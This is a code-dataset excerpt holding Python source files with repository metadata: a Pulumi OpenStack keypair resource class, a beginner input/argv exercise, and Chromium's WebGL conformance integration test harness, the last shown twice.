outs: self.name = outs['name'] if 'privateKey' in outs: self.private_key = outs['privateKey'] if 'publicKey' in outs: self.public_key = outs['publicKey'] if 'region' in outs: self.region = outs['region'] if 'valueSpecs' in outs: self.value_specs = outs['valueSpecs']

40.082474

111

0.639403

import pulumi import pulumi.runtime class Keypair(pulumi.CustomResource): def __init__(__self__, __name__, __opts__=None, name=None, public_key=None, region=None, value_specs=None): if not __name__: raise TypeError('Missing resource name argument (for URN creation)') if not isinstance(__name__, basestring): raise TypeError('Expected resource name to be a string') if __opts__ and not isinstance(__opts__, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') __props__ = dict() if name and not isinstance(name, basestring): raise TypeError('Expected property name to be a basestring') __self__.name = name __props__['name'] = name if public_key and not isinstance(public_key, basestring): raise TypeError('Expected property public_key to be a basestring') __self__.public_key = public_key __props__['publicKey'] = public_key if region and not isinstance(region, basestring): raise TypeError('Expected property region to be a basestring') __self__.region = region __props__['region'] = region if value_specs and not isinstance(value_specs, dict): raise TypeError('Expected property value_specs to be a dict') __self__.value_specs = value_specs __props__['valueSpecs'] = value_specs __self__.fingerprint = pulumi.runtime.UNKNOWN __self__.private_key = pulumi.runtime.UNKNOWN super(Keypair, __self__).__init__( 'openstack:compute/keypair:Keypair', __name__, __props__, __opts__) def set_outputs(self, outs): if 'fingerprint' in outs: self.fingerprint = outs['fingerprint'] if 'name' in outs: self.name = outs['name'] if 'privateKey' in outs: self.private_key = outs['privateKey'] if 'publicKey' in outs: self.public_key = outs['publicKey'] if 'region' in outs: self.region = outs['region'] if 'valueSpecs' in outs: self.value_specs = outs['valueSpecs']

true

f7f383ba176078cdb8703b3c821c9201cf74c745

437

py

Python

coding/ex12-13.py

Hira63S/KnightRyder

d4b7238d8fc8dfcdfbbb9fd5d232f6273c76840e

[ "MIT" ]

1

2020-12-19T15:44:25.000Z

coding/ex12-13.py

Hira63S/PythonPractice

5eadc04f2fb056b04db59a658d5914ea847be7d2

[ "MIT" ]

null

coding/ex12-13.py

Hira63S/PythonPractice

5eadc04f2fb056b04db59a658d5914ea847be7d2

[ "MIT" ]

null

age = input("How old are you babe?") race = input("What race are you?") identity = input("How do you identify yourself. a no:") print(f"So if you are {age} old, and you are from {race}, you identify as {identity}") from sys import argv script, first, second, third = argv print("The script is called:", script) print("Your first variable is:", first) print("Your second variable is:", second) print("Your third variable is:", third)

29.133333

86

0.702517

age = input("How old are you babe?") race = input("What race are you?") identity = input("How do you identify yourself. a no:") print(f"So if you are {age} old, and you are from {race}, you identify as {identity}") from sys import argv script, first, second, third = argv print("The script is called:", script) print("Your first variable is:", first) print("Your second variable is:", second) print("Your third variable is:", third)

true

f7f3854348397fc78bc156442518fd76cce148d2

20,920

py

Python

content/test/gpu/gpu_tests/webgl_conformance_integration_test.py

zealoussnow/chromium

fd8a8914ca0183f0add65ae55f04e287543c7d4a

[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]

76

2020-09-02T03:05:41.000Z

2022-03-30T04:40:55.000Z

content/test/gpu/gpu_tests/webgl_conformance_integration_test.py

zealoussnow/chromium

fd8a8914ca0183f0add65ae55f04e287543c7d4a

[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]

45

2020-09-02T03:21:37.000Z

2022-03-31T22:19:45.000Z

content/test/gpu/gpu_tests/webgl_conformance_integration_test.py

zealoussnow/chromium

fd8a8914ca0183f0add65ae55f04e287543c7d4a

[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]

8

2020-07-22T18:49:18.000Z

2022-02-08T10:27:16.000Z

# Copyright 2016 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. from __future__ import print_function import logging import os import re import sys from gpu_tests import common_browser_args as cba from gpu_tests import gpu_helper from gpu_tests import gpu_integration_test from gpu_tests import path_util from gpu_tests import webgl_test_util conformance_harness_script = r""" var testHarness = {}; testHarness._allTestSucceeded = true; testHarness._messages = ''; testHarness._failures = 0; testHarness._finished = false; testHarness._originalLog = window.console.log; testHarness.log = function(msg) { testHarness._messages += msg + "\n"; testHarness._originalLog.apply(window.console, [msg]); } testHarness.reportResults = function(url, success, msg) { testHarness._allTestSucceeded = testHarness._allTestSucceeded && !!success; if(!success) { testHarness._failures++; if(msg) { testHarness.log(msg); } } }; testHarness.notifyFinished = function(url) { testHarness._finished = true; }; testHarness.navigateToPage = function(src) { var testFrame = document.getElementById("test-frame"); testFrame.src = src; }; window.webglTestHarness = testHarness; window.parent.webglTestHarness = testHarness; window.console.log = testHarness.log; window.onerror = function(message, url, line) { testHarness.reportResults(null, false, message); testHarness.notifyFinished(null); }; window.quietMode = function() { return true; } """ extension_harness_additional_script = r""" window.onload = function() { window._loaded = true; } """ if sys.version_info[0] == 3: # cmp no longer exists in Python 3 def cmp(a, b): # pylint: disable=redefined-builtin return int(a > b) - int(a < b) def _CompareVersion(version1, version2): ver_num1 = [int(x) for x in version1.split('.')] ver_num2 = [int(x) for x in version2.split('.')] size = min(len(ver_num1), len(ver_num2)) return cmp(ver_num1[0:size], ver_num2[0:size]) class WebGLTestArgs(object): """Struct-like class for passing args to a WebGLConformance test.""" def __init__(self, webgl_version=None, extension=None, extension_list=None): self.webgl_version = webgl_version self.extension = extension self.extension_list = extension_list class WebGLConformanceIntegrationTest(gpu_integration_test.GpuIntegrationTest): _webgl_version = None _is_asan = False _crash_count = 0 _gl_backend = "" _angle_backend = "" _command_decoder = "" _verified_flags = False @classmethod def Name(cls): return 'webgl_conformance' @classmethod def AddCommandlineArgs(cls, parser): super(WebGLConformanceIntegrationTest, cls).AddCommandlineArgs(parser) parser.add_option( '--webgl-conformance-version', help='Version of the WebGL conformance tests to run.', default='1.0.4') parser.add_option( '--webgl2-only', help='Whether we include webgl 1 tests if version is 2.0.0 or above.', default='false') parser.add_option( '--is-asan', help='Indicates whether currently running an ASAN build', action='store_true', default=False) @classmethod def GenerateGpuTests(cls, options): # # Conformance tests # test_paths = cls._ParseTests('00_test_list.txt', options.webgl_conformance_version, (options.webgl2_only == 'true'), None) cls._webgl_version = [ int(x) for x in options.webgl_conformance_version.split('.') ][0] cls._is_asan = options.is_asan for test_path in test_paths: test_path_with_args = test_path if cls._webgl_version > 1: test_path_with_args += '?webglVersion=' + str(cls._webgl_version) yield (test_path.replace(os.path.sep, '/'), os.path.join(webgl_test_util.conformance_relpath, test_path_with_args), ('_RunConformanceTest', WebGLTestArgs())) # # Extension tests # extension_tests = cls._GetExtensionList() # Coverage test. yield ('WebglExtension_TestCoverage', os.path.join(webgl_test_util.extensions_relpath, 'webgl_extension_test.html'), ('_RunExtensionCoverageTest', WebGLTestArgs(webgl_version=cls._webgl_version, extension_list=extension_tests))) # Individual extension tests. for extension in extension_tests: yield ('WebglExtension_%s' % extension, os.path.join(webgl_test_util.extensions_relpath, 'webgl_extension_test.html'), ('_RunExtensionTest', WebGLTestArgs(webgl_version=cls._webgl_version, extension=extension))) @classmethod def _GetExtensionList(cls): if cls._webgl_version == 1: return [ 'ANGLE_instanced_arrays', 'EXT_blend_minmax', 'EXT_color_buffer_half_float', 'EXT_disjoint_timer_query', 'EXT_float_blend', 'EXT_frag_depth', 'EXT_shader_texture_lod', 'EXT_sRGB', 'EXT_texture_compression_bptc', 'EXT_texture_compression_rgtc', 'EXT_texture_filter_anisotropic', 'KHR_parallel_shader_compile', 'OES_element_index_uint', 'OES_fbo_render_mipmap', 'OES_standard_derivatives', 'OES_texture_float', 'OES_texture_float_linear', 'OES_texture_half_float', 'OES_texture_half_float_linear', 'OES_vertex_array_object', 'WEBGL_color_buffer_float', 'WEBGL_compressed_texture_astc', 'WEBGL_compressed_texture_etc', 'WEBGL_compressed_texture_etc1', 'WEBGL_compressed_texture_pvrtc', 'WEBGL_compressed_texture_s3tc', 'WEBGL_compressed_texture_s3tc_srgb', 'WEBGL_debug_renderer_info', 'WEBGL_debug_shaders', 'WEBGL_depth_texture', 'WEBGL_draw_buffers', 'WEBGL_lose_context', 'WEBGL_multi_draw', 'WEBGL_video_texture', 'WEBGL_webcodecs_video_frame', ] else: return [ 'EXT_color_buffer_float', 'EXT_color_buffer_half_float', 'EXT_disjoint_timer_query_webgl2', 'EXT_float_blend', 'EXT_texture_compression_bptc', 'EXT_texture_compression_rgtc', 'EXT_texture_filter_anisotropic', 'EXT_texture_norm16', 'KHR_parallel_shader_compile', 'OES_draw_buffers_indexed', 'OES_texture_float_linear', 'OVR_multiview2', 'WEBGL_compressed_texture_astc', 'WEBGL_compressed_texture_etc', 'WEBGL_compressed_texture_etc1', 'WEBGL_compressed_texture_pvrtc', 'WEBGL_compressed_texture_s3tc', 'WEBGL_compressed_texture_s3tc_srgb', 'WEBGL_debug_renderer_info', 'WEBGL_debug_shaders', 'WEBGL_draw_instanced_base_vertex_base_instance', 'WEBGL_lose_context', 'WEBGL_multi_draw', 'WEBGL_multi_draw_instanced_base_vertex_base_instance', 'WEBGL_video_texture', 'WEBGL_webcodecs_video_frame', ] def RunActualGpuTest(self, test_path, *args): # This indirection allows these tests to trampoline through # _RunGpuTest. assert len(args) == 2 test_name = args[0] test_args = args[1] getattr(self, test_name)(test_path, test_args) def _VerifyGLBackend(self, gpu_info): # Verify that Chrome's GL backend matches if a specific one was requested if self._gl_backend: if (self._gl_backend == 'angle' and gpu_helper.GetANGLERenderer(gpu_info) == 'angle-disabled'): self.fail('requested GL backend (' + self._gl_backend + ')' + ' had no effect on the browser: ' + _GetGPUInfoErrorString(gpu_info)) return False return True def _VerifyANGLEBackend(self, gpu_info): if self._angle_backend: # GPU exepections use slightly different names for the angle backends # than the Chrome flags known_backend_flag_map = { 'angle-d3d11': ['d3d11'], 'angle-d3d9': ['d3d9'], 'angle-opengl': ['gl'], 'angle-opengles': ['gles'], 'angle-metal': ['metal'], 'angle-vulkan': ['vulkan'], # Support setting VK_ICD_FILENAMES for swiftshader when requesting # the 'vulkan' backend. 'angle-swiftshader': ['swiftshader', 'vulkan'], } current_angle_backend = gpu_helper.GetANGLERenderer(gpu_info) if (current_angle_backend not in known_backend_flag_map or self._angle_backend not in \ known_backend_flag_map[current_angle_backend]): self.fail('requested ANGLE backend (' + self._angle_backend + ')' + ' had no effect on the browser: ' + _GetGPUInfoErrorString(gpu_info)) return False return True def _VerifyCommandDecoder(self, gpu_info): if self._command_decoder: # GPU exepections use slightly different names for the command decoders # than the Chrome flags known_command_decoder_flag_map = { 'passthrough': 'passthrough', 'no_passthrough': 'validating', } current_command_decoder = gpu_helper.GetCommandDecoder(gpu_info) if (current_command_decoder not in known_command_decoder_flag_map or known_command_decoder_flag_map[current_command_decoder] != \ self._command_decoder): self.fail('requested command decoder (' + self._command_decoder + ')' + ' had no effect on the browser: ' + _GetGPUInfoErrorString(gpu_info)) return False return True def _NavigateTo(self, test_path, harness_script): gpu_info = self.browser.GetSystemInfo().gpu self._crash_count = gpu_info.aux_attributes['process_crash_count'] if not self._verified_flags: # If the user specified any flags for ANGLE or the command decoder, # verify that the browser is actually using the requested configuration if (self._VerifyGLBackend(gpu_info) and self._VerifyANGLEBackend(gpu_info) and self._VerifyCommandDecoder(gpu_info)): self._verified_flags = True url = self.UrlOfStaticFilePath(test_path) self.tab.Navigate(url, script_to_evaluate_on_commit=harness_script) def _CheckTestCompletion(self): self.tab.action_runner.WaitForJavaScriptCondition( 'webglTestHarness._finished', timeout=self._GetTestTimeout()) if self._crash_count != self.browser.GetSystemInfo().gpu \ .aux_attributes['process_crash_count']: self.fail('GPU process crashed during test.\n' + self._WebGLTestMessages(self.tab)) elif not self._DidWebGLTestSucceed(self.tab): self.fail(self._WebGLTestMessages(self.tab)) def _RunConformanceTest(self, test_path, _): self._NavigateTo(test_path, conformance_harness_script) self._CheckTestCompletion() def _RunExtensionCoverageTest(self, test_path, test_args): self._NavigateTo(test_path, _GetExtensionHarnessScript()) self.tab.action_runner.WaitForJavaScriptCondition( 'window._loaded', timeout=self._GetTestTimeout()) context_type = "webgl2" if test_args.webgl_version == 2 else "webgl" extension_list_string = "[" for extension in test_args.extension_list: extension_list_string = extension_list_string + extension + ", " extension_list_string = extension_list_string + "]" self.tab.action_runner.EvaluateJavaScript( 'checkSupportedExtensions({{ extensions_string }}, {{context_type}})', extensions_string=extension_list_string, context_type=context_type) self._CheckTestCompletion() def _RunExtensionTest(self, test_path, test_args): self._NavigateTo(test_path, _GetExtensionHarnessScript()) self.tab.action_runner.WaitForJavaScriptCondition( 'window._loaded', timeout=self._GetTestTimeout()) context_type = "webgl2" if test_args.webgl_version == 2 else "webgl" self.tab.action_runner.EvaluateJavaScript( 'checkExtension({{ extension }}, {{ context_type }})', extension=test_args.extension, context_type=context_type) self._CheckTestCompletion() def _GetTestTimeout(self): timeout = 300 if self._is_asan: # Asan runs much slower and needs a longer timeout timeout *= 2 return timeout @classmethod def GenerateBrowserArgs(cls, additional_args): """Adds default arguments to |additional_args|. See the parent class' method documentation for additional information. """ default_args = super(WebGLConformanceIntegrationTest, cls).GenerateBrowserArgs(additional_args) # --test-type=gpu is used only to suppress the "Google API Keys are missing" # infobar, which causes flakiness in tests. default_args.extend([ cba.AUTOPLAY_POLICY_NO_USER_GESTURE_REQUIRED, cba.DISABLE_DOMAIN_BLOCKING_FOR_3D_APIS, cba.DISABLE_GPU_PROCESS_CRASH_LIMIT, cba.TEST_TYPE_GPU, '--enable-webgl-draft-extensions', # Try disabling the GPU watchdog to see if this affects the # intermittent GPU process hangs that have been seen on the # waterfall. crbug.com/596622 crbug.com/609252 '--disable-gpu-watchdog', # TODO(http://crbug.com/832952): Remove this when WebXR spec is more # stable and setCompatibleXRDevice is part of the conformance test. '--disable-blink-features=WebXR', # Force-enable SharedArrayBuffer to be able to test its # support in WEBGL_multi_draw. '--enable-blink-features=SharedArrayBuffer', ]) # Note that the overriding of the default --js-flags probably # won't interact well with RestartBrowserIfNecessaryWithArgs, but # we don't use that in this test. browser_options = cls._finder_options.browser_options builtin_js_flags = '--js-flags=--expose-gc' found_js_flags = False user_js_flags = '' if browser_options.extra_browser_args: for o in browser_options.extra_browser_args: if o.startswith('--js-flags'): found_js_flags = True user_js_flags = o break if o.startswith('--use-gl='): cls._gl_backend = o[len('--use-gl='):] if o.startswith('--use-angle='): cls._angle_backend = o[len('--use-angle='):] if o.startswith('--use-cmd-decoder='): cls._command_decoder = o[len('--use-cmd-decoder='):] if found_js_flags: logging.warning('Overriding built-in JavaScript flags:') logging.warning(' Original flags: ' + builtin_js_flags) logging.warning(' New flags: ' + user_js_flags) else: default_args.append(builtin_js_flags) return default_args @classmethod def SetUpProcess(cls): super(WebGLConformanceIntegrationTest, cls).SetUpProcess() cls.CustomizeBrowserArgs([]) cls.StartBrowser() # By setting multiple server directories, the root of the server # implicitly becomes the common base directory, i.e., the Chromium # src dir, and all URLs have to be specified relative to that. cls.SetStaticServerDirs([ os.path.join(path_util.GetChromiumSrcDir(), webgl_test_util.conformance_relpath), os.path.join(path_util.GetChromiumSrcDir(), webgl_test_util.extensions_relpath) ]) # Helper functions. @staticmethod def _DidWebGLTestSucceed(tab): return tab.EvaluateJavaScript('webglTestHarness._allTestSucceeded') @staticmethod def _WebGLTestMessages(tab): return tab.EvaluateJavaScript('webglTestHarness._messages') @classmethod def _ParseTests(cls, path, version, webgl2_only, folder_min_version): def _ParseTestNameAndVersions(line): """Parses any min/max versions and the test name on the given line. Args: line: A string containing the line to be parsed. Returns: A tuple (test_name, min_version, max_version) containing the test name and parsed minimum/maximum versions found as strings. Min/max values can be None if no version was found. """ line_tokens = line.split(' ') test_name = line_tokens[-1] i = 0 min_version = None max_version = None while i < len(line_tokens): token = line_tokens[i] if token == '--min-version': i += 1 min_version = line_tokens[i] elif token == '--max-version': i += 1 max_version = line_tokens[i] i += 1 return test_name, min_version, max_version test_paths = [] full_path = os.path.normpath( os.path.join(webgl_test_util.conformance_path, path)) if not os.path.exists(full_path): raise Exception('The WebGL conformance test path specified ' + 'does not exist: ' + full_path) with open(full_path, 'r') as f: for line in f: line = line.strip() if not line: continue if line.startswith('//') or line.startswith('#'): continue test_name, min_version, max_version = _ParseTestNameAndVersions(line) min_version_to_compare = min_version or folder_min_version if (min_version_to_compare and _CompareVersion(version, min_version_to_compare) < 0): continue if max_version and _CompareVersion(version, max_version) > 0: continue if (webgl2_only and not '.txt' in test_name and (not min_version_to_compare or not min_version_to_compare.startswith('2'))): continue include_path = os.path.join(os.path.dirname(path), test_name) if '.txt' in test_name: # We only check min-version >= 2.0.0 for the top level list. test_paths += cls._ParseTests(include_path, version, webgl2_only, min_version_to_compare) else: test_paths.append(include_path) return test_paths @classmethod def GetPlatformTags(cls, browser): tags = super(WebGLConformanceIntegrationTest, cls).GetPlatformTags(browser) tags.extend([['no-asan', 'asan'][cls._is_asan], 'webgl-version-%d' % cls._webgl_version]) if gpu_helper.EXPECTATIONS_DRIVER_TAGS: system_info = browser.GetSystemInfo() if system_info: gpu_info = system_info.gpu driver_vendor = gpu_helper.GetGpuDriverVendor(gpu_info) driver_version = gpu_helper.GetGpuDriverVersion(gpu_info) if driver_vendor and driver_version: driver_vendor = driver_vendor.lower() driver_version = driver_version.lower() # Extract the string of vendor from 'angle (vendor)' matcher = re.compile(r'^angle $([a-z]+)$$') match = matcher.match(driver_vendor) if match: driver_vendor = match.group(1) # Extract the substring before first space/dash/underscore matcher = re.compile(r'^([a-z\d]+)([\s\-_]+[a-z\d]+)+$') match = matcher.match(driver_vendor) if match: driver_vendor = match.group(1) for tag in gpu_helper.EXPECTATIONS_DRIVER_TAGS: match = gpu_helper.MatchDriverTag(tag) assert match if (driver_vendor == match.group(1) and gpu_helper.EvaluateVersionComparison( driver_version, match.group(2), match.group(3), browser.platform.GetOSName(), driver_vendor)): tags.append(tag) return tags @classmethod def ExpectationsFiles(cls): assert cls._webgl_version == 1 or cls._webgl_version == 2 if cls._webgl_version == 1: file_name = 'webgl_conformance_expectations.txt' else: file_name = 'webgl2_conformance_expectations.txt' return [ os.path.join( os.path.dirname(os.path.abspath(__file__)), 'test_expectations', file_name) ] def _GetGPUInfoErrorString(gpu_info): primary_gpu = gpu_info.devices[0] error_str = 'primary gpu=' + primary_gpu.device_string if gpu_info.aux_attributes: gl_renderer = gpu_info.aux_attributes.get('gl_renderer') if gl_renderer: error_str += ', gl_renderer=' + gl_renderer return error_str def _GetExtensionHarnessScript(): return conformance_harness_script + extension_harness_additional_script def load_tests(loader, tests, pattern): del loader, tests, pattern # Unused. return gpu_integration_test.LoadAllTestsInModule(sys.modules[__name__])

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from __future__ import print_function import logging import os import re import sys from gpu_tests import common_browser_args as cba from gpu_tests import gpu_helper from gpu_tests import gpu_integration_test from gpu_tests import path_util from gpu_tests import webgl_test_util conformance_harness_script = r""" var testHarness = {}; testHarness._allTestSucceeded = true; testHarness._messages = ''; testHarness._failures = 0; testHarness._finished = false; testHarness._originalLog = window.console.log; testHarness.log = function(msg) { testHarness._messages += msg + "\n"; testHarness._originalLog.apply(window.console, [msg]); } testHarness.reportResults = function(url, success, msg) { testHarness._allTestSucceeded = testHarness._allTestSucceeded && !!success; if(!success) { testHarness._failures++; if(msg) { testHarness.log(msg); } } }; testHarness.notifyFinished = function(url) { testHarness._finished = true; }; testHarness.navigateToPage = function(src) { var testFrame = document.getElementById("test-frame"); testFrame.src = src; }; window.webglTestHarness = testHarness; window.parent.webglTestHarness = testHarness; window.console.log = testHarness.log; window.onerror = function(message, url, line) { testHarness.reportResults(null, false, message); testHarness.notifyFinished(null); }; window.quietMode = function() { return true; } """ extension_harness_additional_script = r""" window.onload = function() { window._loaded = true; } """ if sys.version_info[0] == 3: def cmp(a, b): return int(a > b) - int(a < b) def _CompareVersion(version1, version2): ver_num1 = [int(x) for x in version1.split('.')] ver_num2 = [int(x) for x in version2.split('.')] size = min(len(ver_num1), len(ver_num2)) return cmp(ver_num1[0:size], ver_num2[0:size]) class WebGLTestArgs(object): def __init__(self, webgl_version=None, extension=None, extension_list=None): self.webgl_version = webgl_version self.extension = extension self.extension_list = extension_list class WebGLConformanceIntegrationTest(gpu_integration_test.GpuIntegrationTest): _webgl_version = None _is_asan = False _crash_count = 0 _gl_backend = "" _angle_backend = "" _command_decoder = "" _verified_flags = False @classmethod def Name(cls): return 'webgl_conformance' @classmethod def AddCommandlineArgs(cls, parser): super(WebGLConformanceIntegrationTest, cls).AddCommandlineArgs(parser) parser.add_option( '--webgl-conformance-version', help='Version of the WebGL conformance tests to run.', default='1.0.4') parser.add_option( '--webgl2-only', help='Whether we include webgl 1 tests if version is 2.0.0 or above.', default='false') parser.add_option( '--is-asan', help='Indicates whether currently running an ASAN build', action='store_true', default=False) @classmethod def GenerateGpuTests(cls, options): test_paths = cls._ParseTests('00_test_list.txt', options.webgl_conformance_version, (options.webgl2_only == 'true'), None) cls._webgl_version = [ int(x) for x in options.webgl_conformance_version.split('.') ][0] cls._is_asan = options.is_asan for test_path in test_paths: test_path_with_args = test_path if cls._webgl_version > 1: test_path_with_args += '?webglVersion=' + str(cls._webgl_version) yield (test_path.replace(os.path.sep, '/'), os.path.join(webgl_test_util.conformance_relpath, test_path_with_args), ('_RunConformanceTest', WebGLTestArgs())) extension_tests = cls._GetExtensionList() yield ('WebglExtension_TestCoverage', os.path.join(webgl_test_util.extensions_relpath, 'webgl_extension_test.html'), ('_RunExtensionCoverageTest', WebGLTestArgs(webgl_version=cls._webgl_version, extension_list=extension_tests))) for extension in extension_tests: yield ('WebglExtension_%s' % extension, os.path.join(webgl_test_util.extensions_relpath, 'webgl_extension_test.html'), ('_RunExtensionTest', WebGLTestArgs(webgl_version=cls._webgl_version, extension=extension))) @classmethod def _GetExtensionList(cls): if cls._webgl_version == 1: return [ 'ANGLE_instanced_arrays', 'EXT_blend_minmax', 'EXT_color_buffer_half_float', 'EXT_disjoint_timer_query', 'EXT_float_blend', 'EXT_frag_depth', 'EXT_shader_texture_lod', 'EXT_sRGB', 'EXT_texture_compression_bptc', 'EXT_texture_compression_rgtc', 'EXT_texture_filter_anisotropic', 'KHR_parallel_shader_compile', 'OES_element_index_uint', 'OES_fbo_render_mipmap', 'OES_standard_derivatives', 'OES_texture_float', 'OES_texture_float_linear', 'OES_texture_half_float', 'OES_texture_half_float_linear', 'OES_vertex_array_object', 'WEBGL_color_buffer_float', 'WEBGL_compressed_texture_astc', 'WEBGL_compressed_texture_etc', 'WEBGL_compressed_texture_etc1', 'WEBGL_compressed_texture_pvrtc', 'WEBGL_compressed_texture_s3tc', 'WEBGL_compressed_texture_s3tc_srgb', 'WEBGL_debug_renderer_info', 'WEBGL_debug_shaders', 'WEBGL_depth_texture', 'WEBGL_draw_buffers', 'WEBGL_lose_context', 'WEBGL_multi_draw', 'WEBGL_video_texture', 'WEBGL_webcodecs_video_frame', ] else: return [ 'EXT_color_buffer_float', 'EXT_color_buffer_half_float', 'EXT_disjoint_timer_query_webgl2', 'EXT_float_blend', 'EXT_texture_compression_bptc', 'EXT_texture_compression_rgtc', 'EXT_texture_filter_anisotropic', 'EXT_texture_norm16', 'KHR_parallel_shader_compile', 'OES_draw_buffers_indexed', 'OES_texture_float_linear', 'OVR_multiview2', 'WEBGL_compressed_texture_astc', 'WEBGL_compressed_texture_etc', 'WEBGL_compressed_texture_etc1', 'WEBGL_compressed_texture_pvrtc', 'WEBGL_compressed_texture_s3tc', 'WEBGL_compressed_texture_s3tc_srgb', 'WEBGL_debug_renderer_info', 'WEBGL_debug_shaders', 'WEBGL_draw_instanced_base_vertex_base_instance', 'WEBGL_lose_context', 'WEBGL_multi_draw', 'WEBGL_multi_draw_instanced_base_vertex_base_instance', 'WEBGL_video_texture', 'WEBGL_webcodecs_video_frame', ] def RunActualGpuTest(self, test_path, *args): assert len(args) == 2 test_name = args[0] test_args = args[1] getattr(self, test_name)(test_path, test_args) def _VerifyGLBackend(self, gpu_info): if self._gl_backend: if (self._gl_backend == 'angle' and gpu_helper.GetANGLERenderer(gpu_info) == 'angle-disabled'): self.fail('requested GL backend (' + self._gl_backend + ')' + ' had no effect on the browser: ' + _GetGPUInfoErrorString(gpu_info)) return False return True def _VerifyANGLEBackend(self, gpu_info): if self._angle_backend: # GPU exepections use slightly different names for the angle backends # than the Chrome flags known_backend_flag_map = { 'angle-d3d11': ['d3d11'], 'angle-d3d9': ['d3d9'], 'angle-opengl': ['gl'], 'angle-opengles': ['gles'], 'angle-metal': ['metal'], 'angle-vulkan': ['vulkan'], # Support setting VK_ICD_FILENAMES for swiftshader when requesting # the 'vulkan' backend. 'angle-swiftshader': ['swiftshader', 'vulkan'], } current_angle_backend = gpu_helper.GetANGLERenderer(gpu_info) if (current_angle_backend not in known_backend_flag_map or self._angle_backend not in \ known_backend_flag_map[current_angle_backend]): self.fail('requested ANGLE backend (' + self._angle_backend + ')' + ' had no effect on the browser: ' + _GetGPUInfoErrorString(gpu_info)) return False return True def _VerifyCommandDecoder(self, gpu_info): if self._command_decoder: # GPU exepections use slightly different names for the command decoders # than the Chrome flags known_command_decoder_flag_map = { 'passthrough': 'passthrough', 'no_passthrough': 'validating', } current_command_decoder = gpu_helper.GetCommandDecoder(gpu_info) if (current_command_decoder not in known_command_decoder_flag_map or known_command_decoder_flag_map[current_command_decoder] != \ self._command_decoder): self.fail('requested command decoder (' + self._command_decoder + ')' + ' had no effect on the browser: ' + _GetGPUInfoErrorString(gpu_info)) return False return True def _NavigateTo(self, test_path, harness_script): gpu_info = self.browser.GetSystemInfo().gpu self._crash_count = gpu_info.aux_attributes['process_crash_count'] if not self._verified_flags: # If the user specified any flags for ANGLE or the command decoder, # verify that the browser is actually using the requested configuration if (self._VerifyGLBackend(gpu_info) and self._VerifyANGLEBackend(gpu_info) and self._VerifyCommandDecoder(gpu_info)): self._verified_flags = True url = self.UrlOfStaticFilePath(test_path) self.tab.Navigate(url, script_to_evaluate_on_commit=harness_script) def _CheckTestCompletion(self): self.tab.action_runner.WaitForJavaScriptCondition( 'webglTestHarness._finished', timeout=self._GetTestTimeout()) if self._crash_count != self.browser.GetSystemInfo().gpu \ .aux_attributes['process_crash_count']: self.fail('GPU process crashed during test.\n' + self._WebGLTestMessages(self.tab)) elif not self._DidWebGLTestSucceed(self.tab): self.fail(self._WebGLTestMessages(self.tab)) def _RunConformanceTest(self, test_path, _): self._NavigateTo(test_path, conformance_harness_script) self._CheckTestCompletion() def _RunExtensionCoverageTest(self, test_path, test_args): self._NavigateTo(test_path, _GetExtensionHarnessScript()) self.tab.action_runner.WaitForJavaScriptCondition( 'window._loaded', timeout=self._GetTestTimeout()) context_type = "webgl2" if test_args.webgl_version == 2 else "webgl" extension_list_string = "[" for extension in test_args.extension_list: extension_list_string = extension_list_string + extension + ", " extension_list_string = extension_list_string + "]" self.tab.action_runner.EvaluateJavaScript( 'checkSupportedExtensions({{ extensions_string }}, {{context_type}})', extensions_string=extension_list_string, context_type=context_type) self._CheckTestCompletion() def _RunExtensionTest(self, test_path, test_args): self._NavigateTo(test_path, _GetExtensionHarnessScript()) self.tab.action_runner.WaitForJavaScriptCondition( 'window._loaded', timeout=self._GetTestTimeout()) context_type = "webgl2" if test_args.webgl_version == 2 else "webgl" self.tab.action_runner.EvaluateJavaScript( 'checkExtension({{ extension }}, {{ context_type }})', extension=test_args.extension, context_type=context_type) self._CheckTestCompletion() def _GetTestTimeout(self): timeout = 300 if self._is_asan: # Asan runs much slower and needs a longer timeout timeout *= 2 return timeout @classmethod def GenerateBrowserArgs(cls, additional_args): default_args = super(WebGLConformanceIntegrationTest, cls).GenerateBrowserArgs(additional_args) # --test-type=gpu is used only to suppress the "Google API Keys are missing" # infobar, which causes flakiness in tests. default_args.extend([ cba.AUTOPLAY_POLICY_NO_USER_GESTURE_REQUIRED, cba.DISABLE_DOMAIN_BLOCKING_FOR_3D_APIS, cba.DISABLE_GPU_PROCESS_CRASH_LIMIT, cba.TEST_TYPE_GPU, '--enable-webgl-draft-extensions', # Try disabling the GPU watchdog to see if this affects the # intermittent GPU process hangs that have been seen on the # waterfall. crbug.com/596622 crbug.com/609252 '--disable-gpu-watchdog', # TODO(http://crbug.com/832952): Remove this when WebXR spec is more # stable and setCompatibleXRDevice is part of the conformance test. '--disable-blink-features=WebXR', # Force-enable SharedArrayBuffer to be able to test its # support in WEBGL_multi_draw. '--enable-blink-features=SharedArrayBuffer', ]) # Note that the overriding of the default --js-flags probably # won't interact well with RestartBrowserIfNecessaryWithArgs, but browser_options = cls._finder_options.browser_options builtin_js_flags = '--js-flags=--expose-gc' found_js_flags = False user_js_flags = '' if browser_options.extra_browser_args: for o in browser_options.extra_browser_args: if o.startswith('--js-flags'): found_js_flags = True user_js_flags = o break if o.startswith('--use-gl='): cls._gl_backend = o[len('--use-gl='):] if o.startswith('--use-angle='): cls._angle_backend = o[len('--use-angle='):] if o.startswith('--use-cmd-decoder='): cls._command_decoder = o[len('--use-cmd-decoder='):] if found_js_flags: logging.warning('Overriding built-in JavaScript flags:') logging.warning(' Original flags: ' + builtin_js_flags) logging.warning(' New flags: ' + user_js_flags) else: default_args.append(builtin_js_flags) return default_args @classmethod def SetUpProcess(cls): super(WebGLConformanceIntegrationTest, cls).SetUpProcess() cls.CustomizeBrowserArgs([]) cls.StartBrowser() # By setting multiple server directories, the root of the server # implicitly becomes the common base directory, i.e., the Chromium # src dir, and all URLs have to be specified relative to that. cls.SetStaticServerDirs([ os.path.join(path_util.GetChromiumSrcDir(), webgl_test_util.conformance_relpath), os.path.join(path_util.GetChromiumSrcDir(), webgl_test_util.extensions_relpath) ]) # Helper functions. @staticmethod def _DidWebGLTestSucceed(tab): return tab.EvaluateJavaScript('webglTestHarness._allTestSucceeded') @staticmethod def _WebGLTestMessages(tab): return tab.EvaluateJavaScript('webglTestHarness._messages') @classmethod def 